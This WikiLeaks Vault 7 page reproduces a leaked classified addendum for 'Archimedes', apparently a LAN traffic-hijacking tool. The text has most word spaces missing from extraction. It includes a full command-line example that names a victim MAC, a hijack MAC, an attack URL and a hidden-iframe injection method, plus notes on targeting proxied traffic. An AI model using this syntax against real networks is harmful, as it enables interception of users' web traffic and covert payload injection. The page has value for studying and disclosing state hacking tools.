# Vault 7: Projects

This publication series is about specific projects related to the Vault 7 main publication.

### Archimedes

# Archimedes 1.1 Addendum

28 June, 2013

- 1
- 2
- 3
- 4

SECRET//NOFORN

2

particularlyvulnerableto reverseengineeringandanalysis.Debugversionsofthetoolshouldbeusedin
controlledtestenvironmentsonly.
(U) NEWOPTIONS
(S)PORTSPECIFICATION
(S//NF)ThenetworkportthatwillbemonitoredforHTTPtrafficisanOPTIONALparameterthatcanbespecified
ineithertheconfigurationfileoronth ecommandline.IthasadefaultvalueofthestandardHTTPport80.Inthe
configurationfileitshouldbespecifiedas:
PORT=8080
(S//NF)Whenprovid edasacommandlineoptionitmustbetheseventhargum ent(requiringthatvaluesare
providedforanyp reviousoptionalarguments):
[VICTIMMAC][HIJACKMAC][MILLISECONDS][ URL][VERIFY_ROUTE][INJECTION_METHOD][PORT]
Example:
>f32d.exe00:0C:29:BD:34:4500:0c:29:61:d0:d71000http://10.0.0.11/attack.htmlF ALSEHIDDEN_IFRAME8080
Where“8080”istheportspecificationandallp riorargumentsarerequired.
PROXYINJECTION NOTE S
TheprimaryreasonforaddingtheabilitytospecifythenetworkportistotargetHTTPconnectionsthatpass
throughaproxy.DuetothemethodthatArchimedesusestocapturetargetedtraffic,thiswillonlyworkin
networkconfigurationswherethespecifiedproxyisonadifferentsubnet(i.e.traffictotheproxymustpass
throughagatewaydevice).
(C)FIREANDFORGETSUPPORT
(S//NF)FireandForget(v.2)supporthasbeenupdatedtoincludesupportforspecifyingtheportasacommand
lineargumentasdescribedpreviously.
(U)APPLICATIONDEFAULTS
(S//NF)ThedefaultvalueforthePORTconfigurationoptionis80.Thismatchestheoriginalbehaviorofthetool.
(U)TROUBLESHOOTING
(S//NF)ArchimedesandFulcrumonlyinjectintoHTTPrequeststhatreferencetherootofthedocumentdirectory.
Forexample,http://www.test.com/butnothttp://www.test.com/subdir/index.html.Thiscontinuestobetrue
whentargetingproxiednetworkconnections.

- 1
- 2
- 3
- 4